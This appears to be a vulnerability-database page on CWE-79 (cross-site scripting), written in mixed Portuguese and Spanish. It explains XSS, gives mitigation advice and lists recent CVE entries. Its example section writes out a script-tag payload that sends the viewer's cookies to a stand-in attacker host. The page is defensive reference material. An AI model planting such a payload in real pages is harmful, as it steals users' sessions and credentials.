Fallos del tipo CWE-79

30.643 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-10032MEDIUMArbitrary JavaScript Execution via openUrl in @a2ui/web_coreEPSS 0.1%CVE-2025-64059LOWGrav 1.7.50.2 allows admins to enter JavaScript via the Home Page editor. NOTE: the relevance of this for stored XSS is disputed because admEPSS 0.1%CVE-2026-87973LOWIf-So Dynamic Content 1.9.9 - 1.10.1 - Editor+ Stored XSS via Conversion NameEPSS 0.1%CVE-2026-8203HIGHConcrete CMS 9.5.0 and below has Stored XSS on the height parameterEPSS 0.1%CVE-2026-78325MEDIUMXSS in Standard Notes on Android via Malicious Google Keep and Evernote HTML ImportEPSS 0.1%CVE-2026-48822MEDIUMShaarli has Stored Cross-Site Scripting (XSS) via Markdown Reference LinksEPSS 0.1%CVE-2026-11936MEDIUMSecurity vulnerabilities have been found in IBM Verify Identity Access and IBM Security Verify AccessEPSS 0.1%CVE-2026-48823MEDIUMShaarli has Stored Cross-Site Scripting (XSS) via Tags SearchEPSS 0.1%CVE-2026-25599MEDIUMMissing authentication and clear‑text data transmission affecting Orca heat pumpsEPSS 0.1%CVE-2025-66521MEDIUMFoxit pdfonline.foxit.com Stored Cross-Site Scripting in Trusted Certificates FeatureEPSS 0.1%CVE-2026-42558HIGHXibo Vulnerable to Stored XSS and Iframe Sandbox Escape via Data Connector Script in DataSetEPSS 0.1%CVE-2016-20054MEDIUMNodcms Cross Site Request Forgery via admin endpointsEPSS 0.1%CVE-2026-27964LOWFacturaScripts: Reflected Cross-Site Scripting (XSS) via Cookie ManipulationEPSS 0.1%CVE-2026-29136MEDIUMCA Notification HTML InjectionEPSS 0.1%CVE-2026-41886HIGHlocize Client SDK: Cross-origin DOM XSS & Handler Hijack Through Missing e.origin Validation in InContext EditorEPSS 0.1%CVE-2026-113810HIGHStored XSS on SNS Enrollment PortalEPSS 0.1%CVE-2026-34822MEDIUMEndian Firewall /manage/ca/certificate/ new_cert_name Stored Cross-Site ScriptingEPSS 0.1%CVE-2026-4364MEDIUMSecurity Vulnerabilities have been found in IBM Verify Identity Access and IBM Security Verify AccessEPSS 0.1%CVE-2026-46342LOWNuxt: `__nuxt_island` endpoint does not bind responses to request props, enabling shared-cache poisoningEPSS 0.1%CVE-2026-109150HIGHWP PageNavi Style <= 1.4 - Stored XSS via CSRFEPSS 0.1%